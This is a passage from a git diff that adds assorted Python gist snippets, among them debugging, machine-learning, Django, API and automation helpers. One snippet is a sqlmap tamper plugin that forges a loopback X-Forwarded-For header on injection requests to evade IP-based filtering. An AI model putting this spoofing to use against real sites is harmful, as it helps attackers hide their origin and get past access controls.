+        'gst_buffer_extract((GstBuffer*){}, {}, (gpointer){}, {})'
+        .format(
+            buffer_ptr.GetValue(),
+            0,
+            data_ptr.GetValue(),
+            buffer_size))
+    read_bytes_value = read_bytes.GetValue()
+
+    buffer_data = process.ReadMemory(data_ptr.GetValueAsUnsigned(), buffer_size, error)
+
+    frame.EvaluateExpression(
+        'g_free({})'
+        .format(data_ptr.GetValueAsUnsigned()))
+
+    f = open(args[1], 'w+b')
+    f.write(buffer_data)
+    f.close()
+    print "Wrote raw buffer to file {}\n".format(args[1])
+
+def __lldb_init_module (debugger, dict):
+    for cmdname in ['gst_dot', 'gst_root_name', 'gst_root', 'gst_buffer_dump']:
+        debugger.HandleCommand('command script add -f gst.command_{0} {0}'.format(cmdname))
diff --git a/hard-gists/6893b83409ae4575e2bd/._snippet.py b/hard-gists/6893b83409ae4575e2bd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6893b83409ae4575e2bd/._snippet.py differ
diff --git a/hard-gists/6893b83409ae4575e2bd/snippet.py b/hard-gists/6893b83409ae4575e2bd/snippet.py
new file mode 100644
index 00000000..332332a4
--- /dev/null
+++ b/hard-gists/6893b83409ae4575e2bd/snippet.py
@@ -0,0 +1,7 @@
+from theano.compile import ViewOp
+
+
+class GradientReversalOp(ViewOp):
+
+    def grad(self, inputs, output_gradients):
+        return [-output_gradients[0]]
diff --git a/hard-gists/689f4a38bc6cb9a7adc0/._snippet.py b/hard-gists/689f4a38bc6cb9a7adc0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/689f4a38bc6cb9a7adc0/._snippet.py differ
diff --git a/hard-gists/689f4a38bc6cb9a7adc0/snippet.py b/hard-gists/689f4a38bc6cb9a7adc0/snippet.py
new file mode 100644
index 00000000..e96ecdec
--- /dev/null
+++ b/hard-gists/689f4a38bc6cb9a7adc0/snippet.py
@@ -0,0 +1,12 @@
+import random
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.NORMAL
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    headers = kwargs.get("headers", {})
+    headers["X-Forwarded-For"] = "127.0.0.%s" % random.randint(1,254)
+    return payload
diff --git a/hard-gists/6901429/._snippet.py b/hard-gists/6901429/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6901429/._snippet.py differ
diff --git a/hard-gists/6901429/snippet.py b/hard-gists/6901429/snippet.py
new file mode 100644
index 00000000..80c02e5f
--- /dev/null
+++ b/hard-gists/6901429/snippet.py
@@ -0,0 +1,56 @@
+import cv2  
+import numpy as np
+
+class BagOfFeatures:
+    """This is a class of Bag-of-Features by K-means for OpenCV"""
+    codebookSize=0
+    classifier=None
+    def __init__(self, codebookSize):
+        self.codebookSize=codebookSize
+        self.classifier=cv2.KNearest()
+        
+    def train(self,features,iterMax=100,term_crit = ( cv2.TERM_CRITERIA_EPS | cv2.TERM_CRITERIA_COUNT, 10, 1 )):
+        retval, bestLabels, codebook=cv2.kmeans(features,self.codebookSize,term_crit,iterMax,cv2.KMEANS_RANDOM_CENTERS)
+        self.classifier.train(codebook,np.array(range(self.codebookSize)))
+        
+    def makeHistogram(self, feature):
+        histogram=np.zeros(self.codebookSize)
+        if self.classifier==None :
+            raise Exception("You need train this instance.")
+        retval, results, neighborResponses, dists=self.classifier.find_nearest(feature,1)
+        for idx in results:
+            idx=int(idx)
+            histogram[idx]=histogram[idx]+1
+        histogram=cv2.normalize(histogram,norm_type=cv2.NORM_L2)
+        #transpose
+        histogram=np.reshape(histogram,(1,-1))
+        return histogram
+
+#see also: http://scikit-learn.org/stable/modules/generated/sklearn.mixture.GMM.html
+import numpy as np
+from sklearn import mixture,preprocessing
+
+class BagOfFeaturesGMM:
+    """This is a class of Bag-of-Features by GMM """
+    codebookSize=0
+    classifier=None
+    
+    def __init__(self, codebookSize):
+        self.codebookSize=codebookSize
+        
+    def train(self,features,iterMax=100):
+        # construct a GMM classifier
+        gmm = mixture.GMM(n_components=self.codebookSize,n_iter=iterMax)
+        # train the classifier 
+        self.classifier = gmm.fit(features)
+        
+    def makeHistogram(self, feature):
+        histogram=np.zeros(self.codebookSize)
+        if self.classifier==None :
+            raise Exception("You need train this instance.")
+        results=self.classifier.predict(feature)
+        for idx in results:
+            idx=int(idx)
+            histogram[idx]=histogram[idx]+1
+        histogram=preprocessing.normalize([histogram], norm='l2')[0]
+        return histogram
\ No newline at end of file
diff --git a/hard-gists/691e97ce22f7cd43d6a9d54305344587/._snippet.py b/hard-gists/691e97ce22f7cd43d6a9d54305344587/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/691e97ce22f7cd43d6a9d54305344587/._snippet.py differ
diff --git a/hard-gists/691e97ce22f7cd43d6a9d54305344587/snippet.py b/hard-gists/691e97ce22f7cd43d6a9d54305344587/snippet.py
new file mode 100644
index 00000000..60487062
--- /dev/null
+++ b/hard-gists/691e97ce22f7cd43d6a9d54305344587/snippet.py
@@ -0,0 +1,88 @@
+"""
+Problem:
+  How to Convert PDF to Image with Python Script ?
+
+Installation:
+  I use ubuntu OS 14.04
+  We use wrapper for ImageMagick [http://www.imagemagick.org/script/index.php] to Convert The PDF file
+  in Python do: 
+    
+  $ sudo apt-get install libmagickwand-dev
+  $ pip install Wand
+  
+  now install PIL 
+  $ pip install Pillow
+
+  More Installation http://sorry-wand.readthedocs.org/en/latest/guide/install.html
+  more about wand https://pypi.python.org/pypi/Wand
+"""
+
+from PIL import Image as Img
+from wand.image import Image
+import uuid
+import numpy as np
+import glob
+import os
+import sys
+
+def convert(filepdf):
+    #used to generate temp file name. so we will not duplicate or replace anything
+    uuid_set = str(uuid.uuid4().fields[-1])[:5]
+    try:
+        #now lets convert the PDF to Image
+        #this is good resolution As far as I know
+        with Image(filename=filepdf, resolution=200) as img:
+            #keep good quality
+            img.compression_quality = 80
+            #save it to tmp name
+            img.save(filename="temp/temp%s.jpg" % uuid_set)
+    except Exception, err:
+        #always keep track the error until the code has been clean
+        #print err
+        return False
+    else:
+        """
+        We finally success to convert pdf to image. 
+        but image is not join by it self when we convert pdf files to image. 
+        now we need to merge all file
+        """
+        pathsave = []
+        try:
+            #search all image in temp path. file name ends with uuid_set value
+            list_im = glob.glob("temp/temp%s*.jpg" % uuid_set)
+            list_im.sort() #sort the file before joining it
+            imgs = [Img.open(i) for i in list_im]
+            #now lets Combine several images vertically with Python
+            min_shape = sorted([(np.sum(i.size), i.size) for i in imgs])[0][1]
+            imgs_comb = np.vstack(
+                (np.asarray(i.resize(min_shape)) for i in imgs))
+            # for horizontally  change the vstack to hstack
+            imgs_comb = Img.fromarray(imgs_comb)
+            pathsave = "MyPdf%s.jpg" % uuid_set
+            #now save the image
+            imgs_comb.save(pathsave)
+            #and then remove all temp image
+            for i in list_im:
+                os.remove(i)
+        except Exception, err:
+            #print err 
+            return False
+        return pathsave
+
+if __name__ == "__main__":
+     arg = sys.argv[1]
+     result = convert(arg)
+     if result:
+        print "[*] Succces convert %s and save it to %s" % (arg, result)
+     else:
+        print "[!] Whoops. something wrong dude. enable err var to track it"
+
+"""
+===========================================
+Running Test:
+  python testing-pdf.py zz.pdf
+  [*] Succces convert zz.pdf and save it to Resume63245.jpg
+  
+===========================================
+"""
+#well I hope this will be useful for you & others.       
\ No newline at end of file
diff --git a/hard-gists/6947661/._snippet.py b/hard-gists/6947661/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6947661/._snippet.py differ
diff --git a/hard-gists/6947661/snippet.py b/hard-gists/6947661/snippet.py
new file mode 100644
index 00000000..4a1d8b04
--- /dev/null
+++ b/hard-gists/6947661/snippet.py
@@ -0,0 +1,33 @@
+#!/usr/bin/python
+
+# Get the likes of any facebook pages.
+#
+# You have to install https://github.com/pythonforfacebook/facebook-sdk first.
+# Then go to Facebook Graph API Explorer, and copy the Access Token.
+
+import facebook
+import sys
+
+token = 'ENTER_YOUR_OAUTH_TOKEN_HERE'
+
+
+def main(args):
+    if len(args) == 1:
+        print getLikes(args[0])
+    else:
+        print 'python get_page_likes.py <page_id>'
+
+
+def getLikes(id):
+    likes = 0
+
+    graph = facebook.GraphAPI(token)
+    data = graph.get_object(id)
+    if data:
+        likes = data['likes']
+
+    return likes
+
+
+if __name__ == '__main__':
+    main(sys.argv[1:])
diff --git a/hard-gists/6957826/._snippet.py b/hard-gists/6957826/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6957826/._snippet.py differ
diff --git a/hard-gists/6957826/snippet.py b/hard-gists/6957826/snippet.py
new file mode 100644
index 00000000..8292c9e9
--- /dev/null
+++ b/hard-gists/6957826/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/python
+
+'''Uses Cocoa classes via PyObjC to set a random desktop picture on all screens.
+Tested on Mountain Lion and Mavericks.
+
+See:
+https://developer.apple.com/library/mac/documentation/cocoa/reference/applicationkit/classes/NSWorkspace_Class/Reference/Reference.html
+
+https://developer.apple.com/library/mac/documentation/Cocoa/Reference/Foundation/Classes/NSURL_Class/Reference/Reference.html
+
+https://developer.apple.com/library/mac/documentation/cocoa/reference/applicationkit/classes/NSScreen_Class/Reference/Reference.html
+'''
+
+import glob
+import random
+
+from AppKit import NSWorkspace, NSScreen
+from Foundation import NSURL
+
+pictures_glob = glob.glob("/Library/Desktop Pictures/*.jpg")
+picture_path = random.choice(pictures_glob)
+
+# generate a fileURL for the desktop picture
+file_url = NSURL.fileURLWithPath_(picture_path)
+
+# make image options dictionary
+# we just make an empty one because the defaults are fine
+options = {}
+
+# get shared workspace
+ws = NSWorkspace.sharedWorkspace()
+
+# iterate over all screens
+for screen in NSScreen.screens():
+    # tell the workspace to set the desktop picture
+    (result, error) = ws.setDesktopImageURL_forScreen_options_error_(
+                file_url, screen, options, None)
\ No newline at end of file
diff --git a/hard-gists/6958459/._snippet.py b/hard-gists/6958459/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6958459/._snippet.py differ
diff --git a/hard-gists/6958459/snippet.py b/hard-gists/6958459/snippet.py
new file mode 100644
index 00000000..eb5ebded
--- /dev/null
+++ b/hard-gists/6958459/snippet.py
@@ -0,0 +1,101 @@
+"""
+Implementation of the shifted beta geometric (sBG) model from "How to Project Customer Retention" (Fader and Hardie 2006)
+
+http://www.brucehardie.com/papers/021/sbg_2006-05-30.pdf
+
+Apache 2 License
+"""
+
+from math import log
+
+import numpy as np
+
+from scipy.optimize import minimize
+
+__author__ = 'JD Maturen'
+
+
+def generate_probabilities(alpha, beta, x):
+    """Generate probabilities in one pass for all t in x"""
+    p = [alpha / (alpha + beta)]
+    for t in xrange(1, x):
+        pt = (beta + t - 1) / (alpha + beta + t) * p[t-1]
+        p.append(pt)
+    return p
+
+
+def probability(alpha, beta, t):
+    """Probability function P"""
+    if t == 0:
+        return alpha / (alpha + beta)
+    return (beta + t - 1) / (alpha + beta + t) * probability(alpha, beta, t-1)
+
+
+def survivor(probabilities, t):
+    """Survivor function S"""
+    s = 1 - probabilities[0]
+    for x in xrange(1, t + 1):
+        s = s - probabilities[x]
+    return s
+
+
+def log_likelihood(alpha, beta, data, survivors=None):
+    """Function to maximize to obtain ideal alpha and beta parameters"""
+    if alpha <= 0 or beta <= 0:
+        return -1000
+    if survivors is None:
+        survivors = survivor_rates(data)
+    probabilities = generate_probabilities(alpha, beta, len(data))
+    final_survivor_likelihood = survivor(probabilities, len(data) - 1)
+
+    return sum([s * log(probabilities[t]) for t, s in enumerate(survivors)]) + data[-1] * log(final_survivor_likelihood)
+
+
+def survivor_rates(data):
+    s = []
+    for i, x in enumerate(data):
+        if i == 0:
+            s.append(1 - data[0])
+        else:
+            s.append(data[i-1] - data[i])
+    return s
+
+
+def maximize(data):
+    survivors = survivor_rates(data)
+    func = lambda x: -log_likelihood(x[0], x[1], data, survivors)
+    x0 = np.array([100., 100.])
+    res = minimize(func, x0, method='nelder-mead', options={'xtol': 1e-8})
+    return res
+
+
+def predicted_retention(alpha, beta, t):
+    """Predicted retention probability at t. Function 8 in the paper"""
+    return (beta + t) / (alpha + beta + t)
+
+
+def predicted_survival(alpha, beta, x):
+    """Predicted survival probability, i.e. percentage of customers retained, for all t in x.
+    Function 1 in the paper"""
+    s = [predicted_retention(alpha, beta, 0)]
+    for t in xrange(1, x):
+        s.append(predicted_retention(alpha, beta, t) * s[t-1])
+    return s
+
+
+def test():
+    """Test against the High End subscription retention data from the paper"""
+    example_data = [.869, .743, .653, .593, .551, .517, .491]
+    ll11 = log_likelihood(1., 1., example_data)
+    print np.allclose(ll11, -2.115, 1e-3)
+
+    res = maximize(example_data)
+    alpha, beta = res.x
+    print res.status == 0 and np.allclose(alpha, 0.668, 1e-3) and np.allclose(beta, 3.806, 1e-3)
+
+    print "real\t", map(lambda x: "{0:.1f}%".format(x*100), example_data)
+    print "pred\t", map(lambda x: "{0:.1f}%".format(x*100), predicted_survival(alpha, beta, 12))
+
+
+if __name__ == '__main__':
+    test()
diff --git a/hard-gists/6987693/._snippet.py b/hard-gists/6987693/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6987693/._snippet.py differ
diff --git a/hard-gists/6987693/snippet.py b/hard-gists/6987693/snippet.py
new file mode 100644
index 00000000..02526b46
--- /dev/null
+++ b/hard-gists/6987693/snippet.py
@@ -0,0 +1,24 @@
+import unicodedata
+
+from django import template
+
+register = template.Library()
+
+
+@register.filter
+def truncate(text, max_length):
+    max_length = int(max_length) - 3
+    length = 0
+    wide_widths = ['F', 'W', 'A']
+    for i in range(len(text)):
+        if text[i] == '@' or text[i].isupper():
+            length += 2
+        elif unicodedata.east_asian_width(text[i]) not in wide_widths:
+            length += 1
+        else:
+            length += 2
+        if length == max_length:
+            return text[:i + 1] + '...'
+        if length > max_length:
+            return text[:i] + '...'
+    return text
diff --git a/hard-gists/6993747/._snippet.py b/hard-gists/6993747/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6993747/._snippet.py differ
diff --git a/hard-gists/6993747/snippet.py b/hard-gists/6993747/snippet.py
new file mode 100644
index 00000000..ed6a1cfb
--- /dev/null
+++ b/hard-gists/6993747/snippet.py
@@ -0,0 +1,26 @@
+import ebaysdk
+from ebaysdk import finding
+
+api = finding(siteid='EBAY-GB', appid='<REPLACE WITH YOUR OWN APPID>')
+
+api.execute('findItemsAdvanced', {
+    'keywords': 'laptop',
+    'categoryId' : ['177', '111422'],
+    'itemFilter': [
+        {'name': 'Condition', 'value': 'Used'},
+        {'name': 'MinPrice', 'value': '200', 'paramName': 'Currency', 'paramValue': 'GBP'},
+        {'name': 'MaxPrice', 'value': '400', 'paramName': 'Currency', 'paramValue': 'GBP'}
+    ],
+    'paginationInput': {
+        'entriesPerPage': '25',
+        'pageNumber': '1' 	 
+    },
+    'sortOrder': 'CurrentPriceHighest'
+})
+
+dictstr = api.response_dict()
+
+for item in dictstr['searchResult']['item']:
+    print "ItemID: %s" % item['itemId'].value
+    print "Title: %s" % item['title'].value
+    print "CategoryID: %s" % item['primaryCategory']['categoryId'].value
\ No newline at end of file
diff --git a/hard-gists/69aae99be6f6acfadf2073817c2f61b0/._snippet.py b/hard-gists/69aae99be6f6acfadf2073817c2f61b0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69aae99be6f6acfadf2073817c2f61b0/._snippet.py differ
diff --git a/hard-gists/69aae99be6f6acfadf2073817c2f61b0/snippet.py b/hard-gists/69aae99be6f6acfadf2073817c2f61b0/snippet.py
new file mode 100644
index 00000000..ab751b56
--- /dev/null
+++ b/hard-gists/69aae99be6f6acfadf2073817c2f61b0/snippet.py
@@ -0,0 +1,93 @@
+from __future__ import print_function
+'''
+Basic Multi GPU computation example using TensorFlow library.
+Author: Aymeric Damien
+Project: https://github.com/aymericdamien/TensorFlow-Examples/
+'''
+
+'''
+This tutorial requires your machine to have 2 GPUs
+"/cpu:0": The CPU of your machine.
+"/gpu:0": The first GPU of your machine
+"/gpu:1": The second GPU of your machine
+'''
+
+
+
+import numpy as np
+import tensorflow as tf
+import datetime
+
+# Processing Units logs
+log_device_placement = True
+
+# Num of multiplications to perform
+n = 10
+
+'''
+Example: compute A^n + B^n on 2 GPUs
+Results on 8 cores with 2 GTX-980:
+ * Single GPU computation time: 0:00:11.277449
+ * Multi GPU computation time: 0:00:07.131701
+'''
+# Create random large matrix
+A = np.random.rand(10000, 10000).astype('float32')
+B = np.random.rand(10000, 10000).astype('float32')
+
+# Create a graph to store results
+c1 = []
+c2 = []
+
+def matpow(M, n):
+    if n < 1: #Abstract cases where n < 1
+        return M
+    else:
+        return tf.matmul(M, matpow(M, n-1))
+
+'''
+Single GPU computing
+'''
+with tf.device('/gpu:0'):
+    a = tf.placeholder(tf.float32, [10000, 10000])
+    b = tf.placeholder(tf.float32, [10000, 10000])
+    # Compute A^n and B^n and store results in c1
+    c1.append(matpow(a, n))
+    c1.append(matpow(b, n))
+
+with tf.device('/cpu:0'):
+  sum = tf.add_n(c1) #Addition of all elements in c1, i.e. A^n + B^n
+
+t1_1 = datetime.datetime.now()
+with tf.Session(config=tf.ConfigProto(log_device_placement=log_device_placement)) as sess:
+    # Run the op.
+    sess.run(sum, {a:A, b:B})
+t2_1 = datetime.datetime.now()
+
+
+'''
+Multi GPU computing
+'''
+# GPU:0 computes A^n
+with tf.device('/gpu:0'):
+    # Compute A^n and store result in c2
+    a = tf.placeholder(tf.float32, [10000, 10000])
+    c2.append(matpow(a, n))
+
+# GPU:1 computes B^n
+with tf.device('/gpu:1'):
+    # Compute B^n and store result in c2
+    b = tf.placeholder(tf.float32, [10000, 10000])
+    c2.append(matpow(b, n))
+
+with tf.device('/cpu:0'):
+  sum = tf.add_n(c2) #Addition of all elements in c2, i.e. A^n + B^n
+
+t1_2 = datetime.datetime.now()
+with tf.Session(config=tf.ConfigProto(log_device_placement=log_device_placement)) as sess:
+    # Run the op.
+    sess.run(sum, {a:A, b:B})
+t2_2 = datetime.datetime.now()
+
+
+print("Single GPU computation time: " + str(t2_1-t1_1))
+print("Multi GPU computation time: " + str(t2_2-t1_2))
\ No newline at end of file
diff --git a/hard-gists/69aec1259131b5619fb7/._snippet.py b/hard-gists/69aec1259131b5619fb7/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69aec1259131b5619fb7/._snippet.py differ
diff --git a/hard-gists/69aec1259131b5619fb7/snippet.py b/hard-gists/69aec1259131b5619fb7/snippet.py
new file mode 100644
index 00000000..cbbd7f8a
--- /dev/null
+++ b/hard-gists/69aec1259131b5619fb7/snippet.py
@@ -0,0 +1,35 @@
+from django.template import Library
+from django.template.defaulttags import URLNode, url
+ 
+register = Library()
+ 
+class AbsoluteURL(str):
+	pass
+ 
+class AbsoluteURLNode(URLNode):
+	def render(self, context):
+		asvar, self.asvar = self.asvar, None
+		path = super(AbsoluteURLNode, self).render(context)
+		request_obj = context['request']
+		abs_url = AbsoluteURL(request_obj.build_absolute_uri(path))
+		
+		if not asvar:
+			return str(abs_url)
+		else:
+			if path == request_obj.path:
+				abs_url.active = 'active'
+			else:
+				abs_url.active = ''
+			context[asvar] = abs_url
+			return ''
+			
+			
+@register.tag
+def absurl(parser, token):
+	node = url(parser, token)
+	return AbsoluteURLNode(
+		view_name=node.view_name,
+		args=node.args,
+		kwargs=node.kwargs,
+		asvar=node.asvar
+		)
\ No newline at end of file
diff --git a/hard-gists/69b8e351dac87f4c3f5b440632727fdb/._snippet.py b/hard-gists/69b8e351dac87f4c3f5b440632727fdb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69b8e351dac87f4c3f5b440632727fdb/._snippet.py differ
diff --git a/hard-gists/69b8e351dac87f4c3f5b440632727fdb/snippet.py b/hard-gists/69b8e351dac87f4c3f5b440632727fdb/snippet.py
new file mode 100644
index 00000000..3f87c59d
--- /dev/null
+++ b/hard-gists/69b8e351dac87f4c3f5b440632727fdb/snippet.py
@@ -0,0 +1,114 @@
+"""Utility for pulling settings from the environment."""
+import os
+from urllib.parse import urlparse
+
+
+class EnvParser:
+    """Utility for getting settings from the OS environ.
+
+    Instantiate with the name of an env var to get the current mode from (that
+    env var should be set to one of VALID_MODES, or not set), then call the
+    instantiated parser to parse individual settings from the environ (see
+    docstring for ``__call__``).
+
+    """
+    VALID_MODES = ['dev', 'prod']
+    DEFAULT_MODE = VALID_MODES[0]
+    NOT_PROVIDED = object()
+
+    def __init__(self, mode_env_var):
+        self.mode = os.environ.get(mode_env_var, self.DEFAULT_MODE)
+        if self.mode not in self.VALID_MODES:
+            raise ValueError(
+                "%s must be one of %s" % (self.mode, self.VALID_MODES))
+
+    def __call__(self, keys, coerce=str, default=NOT_PROVIDED):
+        """Utility for getting settings from the OS environ.
+
+        First argument is either a string (an environment variable to get) or a
+        list of strings (a list of environment variables, where the first one
+        that exists will be used).
+
+        The ``coerce`` argument should be a unary function to convert the
+        environment variable's value (which will always be a string) into the
+        appropriate Python data type (the default is to leave it as a string).
+
+        The ``default`` argument can be set to a value to use if the given
+        environment variable(s) are not found. The ``coerce`` function is still
+        applied to the default value, unless the default is ``None``.
+
+        The default can also be a dictionary where the keys are mode names
+        (e.g. 'dev', 'prod') and the values are the default to use for that
+        mode. If the default is not given (or the default is a dictionary and
+        no default is given for the current mode) and the given environment
+        variable(s) are not found, ``ValueError`` is raised.
+
+        """
+        if isinstance(keys, str):
+            keys = [keys]
+
+        for key in keys:
+            val = os.environ.get(key)
+            if val is not None:
+                break
+
+        if val is None:
+            try:
+                default = default.get(self.mode, self.NOT_PROVIDED)
+            except AttributeError:  # default is not a dictionary
+                pass
+
+            if default is self.NOT_PROVIDED:
+                raise ValueError(
+                    "Environment variable %r is required." % keys)
+            val = default
+
+        return coerce(val) if val is not None else val
+
+
+def parse_boolean(s):
+    """Parse an environment variable string into a boolean.
+
+    Considers empty string, '0', 'no', or 'false' (case insensitive) to be
+    ``False``; all other values are ``True``.
+
+    """
+    return s.lower() not in {'', '0', 'no', 'false'}
+
+
+def parse_comma_list(s):
+    """Parse comma-separated list in env var to Python list."""
+    if not s.strip():
+        return []
+    return [b.strip() for b in s.split(',')]
+
+
+def parse_database_url(url):
+    """Parse a database URI into a Django db config dictionary.
+
+    Also adds an ``ENGINE`` key: ``django.db.backends.postgresql_psycopg2`` for Postgres. No other
+    database is currently supported.
+
+    E.g. parses ``postgres://user:pass@host:port/dbname`` into::
+
+        {
+            'NAME': 'dbname',
+            'USER': 'user',
+            'PASSWORD': 'pass',
+            'HOST': 'host',
+            'PORT': 'port',
+            'ENGINE': 'django.db.backends.postgresql_psycopg2',
+        }
+
+    """
+    url_parts = urlparse(url)
+    return {
+        'NAME': url_parts.path[1:],
+        'USER': url_parts.username,
+        'PASSWORD': url_parts.password,
+        'HOST': url_parts.hostname,
+        'PORT': url_parts.port,
+        'ENGINE': {
+            'postgres': 'django.db.backends.postgres',
+        }[url_parts.scheme],
+    }
diff --git a/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/._snippet.py b/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/._snippet.py differ
diff --git a/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/snippet.py b/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/snippet.py
new file mode 100644
index 00000000..cc85dde0
--- /dev/null
+++ b/hard-gists/69da10ec6f22c6d7b92deefdb4a4f475/snippet.py
@@ -0,0 +1,83 @@
+'''
+Template class for docking a Qt widget to maya 2017+.
+Author: Lior ben horin
+12-1-2017
+'''
+
+import weakref
+
+import maya.cmds as cmds
+import maya.OpenMayaUI as omui
+from shiboken2 import wrapInstance
+
+from Qt import QtGui, QtWidgets, QtCore # https://github.com/mottosso/Qt.py by Marcus Ottosson 
+
+
+def dock_window(dialog_class):
+    try:
+        cmds.deleteUI(dialog_class.CONTROL_NAME)
+        logger.info('removed workspace {}'.format(dialog_class.CONTROL_NAME))
+
+    except:
+        pass
+
+    # building the workspace control with maya.cmds
+    main_control = cmds.workspaceControl(dialog_class.CONTROL_NAME, ttc=["AttributeEditor", -1],iw=300, mw=True, wp='preferred', label = dialog_class.DOCK_LABEL_NAME)
+    
+    # now lets get a C++ pointer to it using OpenMaya
+    control_widget = omui.MQtUtil.findControl(dialog_class.CONTROL_NAME)
+    # conver the C++ pointer to Qt object we can use
+    control_wrap = wrapInstance(long(control_widget), QtWidgets.QWidget)
+    
+    # control_wrap is the widget of the docking window and now we can start working with it:
+    control_wrap.setAttribute(QtCore.Qt.WA_DeleteOnClose)
+    win = dialog_class(control_wrap)
+    
+    # after maya is ready we should restore the window since it may not be visible
+    cmds.evalDeferred(lambda *args: cmds.workspaceControl(main_control, e=True, rs=True))
+
+    # will return the class of the dock content.
+    return win.run()
+
+
+class MyDockingUI(QtWidgets.QWidget):
+
+    instances = list()
+    CONTROL_NAME = 'my_workspcae_control'
+    DOCK_LABEL_NAME = 'my workspcae control'
+
+    def __init__(self, parent=None):
+        super(MyDockingUI, self).__init__(parent)
+
+        # let's keep track of our docks so we only have one at a time.    
+        MyDockingUI.delete_instances()
+        self.__class__.instances.append(weakref.proxy(self))
+
+        self.window_name = self.CONTROL_NAME
+        self.ui = parent
+        self.main_layout = parent.layout()
+        self.main_layout.setContentsMargins(2, 2, 2, 2)
+
+        # here we can start coding our UI
+        self.my_label = QtWidgets.QLabel('hello world!')
+        self.main_layout.addWidget(self.my_label)    
+
+    @staticmethod
+    def delete_instances():
+        for ins in MyDockingUI.instances:
+            logger.info('Delete {}'.format(ins))
+            try:
+                ins.setParent(None)
+                ins.deleteLater()
+            except:
+                # ignore the fact that the actual parent has already been deleted by Maya...
+                pass
+
+            MyDockingUI.instances.remove(ins)
+            del ins
+
+    def run(self):
+        return self
+
+# this is where we call the window
+my_dock = dock_window(MyDockingUI)
\ No newline at end of file
diff --git a/hard-gists/69dfe7943b076f0d79db/._snippet.py b/hard-gists/69dfe7943b076f0d79db/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69dfe7943b076f0d79db/._snippet.py differ
diff --git a/hard-gists/69dfe7943b076f0d79db/snippet.py b/hard-gists/69dfe7943b076f0d79db/snippet.py
new file mode 100644
index 00000000..b28a376c
--- /dev/null
+++ b/hard-gists/69dfe7943b076f0d79db/snippet.py
@@ -0,0 +1,33 @@
+#!/usr/bin/env python
+# stolen from http://stackoverflow.com/questions/27590039/running-ansible-playbook-using-python-api
+
+import os
+import sys
+from collections import namedtuple
+
+from ansible.parsing.dataloader import DataLoader
+from ansible.vars import VariableManager
+from ansible.inventory import Inventory
+from ansible.executor.playbook_executor import PlaybookExecutor
+
+variable_manager = VariableManager()
+loader = DataLoader()
+
+inventory = Inventory(loader=loader, variable_manager=variable_manager,  host_list='/tmp/hosts')
+playbook_path = '/tmp/ls.yml'
+
+if not os.path.exists(playbook_path):
+    print '[INFO] The playbook does not exist'
+    sys.exit()
+
+Options = namedtuple('Options', ['listtags', 'listtasks', 'listhosts', 'syntax', 'connection','module_path', 'forks', 'remote_user', 'private_key_file', 'ssh_common_args', 'ssh_extra_args', 'sftp_extra_args', 'scp_extra_args', 'become', 'become_method', 'become_user', 'verbosity', 'check'])
+
+options = Options(listtags=False, listtasks=False, listhosts=False, syntax=False, connection='local', module_path=None, forks=100, remote_user='stephen', private_key_file=None, ssh_common_args=None, ssh_extra_args=None, sftp_extra_args=None, scp_extra_args=None, become=False, become_method=None, become_user='root', verbosity=None, check=False)
+
+variable_manager.extra_vars = {'hosts': 'localhost'} # This can accomodate various other command line arguments.`
+
+passwords = {}
+
+pbex = PlaybookExecutor(playbooks=[playbook_path], inventory=inventory, variable_manager=variable_manager, loader=loader, options=options, passwords=passwords)
+
+results = pbex.run()
\ No newline at end of file
diff --git a/hard-gists/69f4acd1fc094c66ba73/._snippet.py b/hard-gists/69f4acd1fc094c66ba73/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/69f4acd1fc094c66ba73/._snippet.py differ
diff --git a/hard-gists/69f4acd1fc094c66ba73/snippet.py b/hard-gists/69f4acd1fc094c66ba73/snippet.py
new file mode 100644
index 00000000..1c2d0986
--- /dev/null
+++ b/hard-gists/69f4acd1fc094c66ba73/snippet.py
@@ -0,0 +1,18 @@
+#!/usr/bin/env python3
+
+import time
+
+import cron
+
+def do_stuff1():
+    print('stuff1!')
+def do_stuff2():
+    #1 / 0
+    print('stuff2!')
+
+cron.init()
+cron.schedule(5, do_stuff1)
+#time.sleep(1)
+#cron.schedule(2, do_stuff2)
+cron.wait()
+print('done!')
\ No newline at end of file
diff --git a/hard-gists/6a01cbe55657121a1f3d/._snippet.py b/hard-gists/6a01cbe55657121a1f3d/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/6a01cbe55657121a1f3d/._snippet.py differ
diff --git a/hard-gists/6a01cbe55657121a1f3d/snippet.py b/hard-gists/6a01cbe55657121a1f3d/snippet.py
new file mode 100644
index 00000000..c0a6f37c
--- /dev/null
+++ b/hard-gists/6a01cbe55657121a1f3d/snippet.py
@@ -0,0 +1,79 @@
+# -*- coding: utf-8 -*-
+"""
+A tool for scrolling input text as ASCII art text banner in console
+"""
+
+import os
+import time
+from PIL import Image, ImageDraw, ImageFont
+
+
+def init_console(cols, lines):
+    os.system('mode con: cols=%s lines=%s' % (cols, lines))
+
+
+def clear_console():
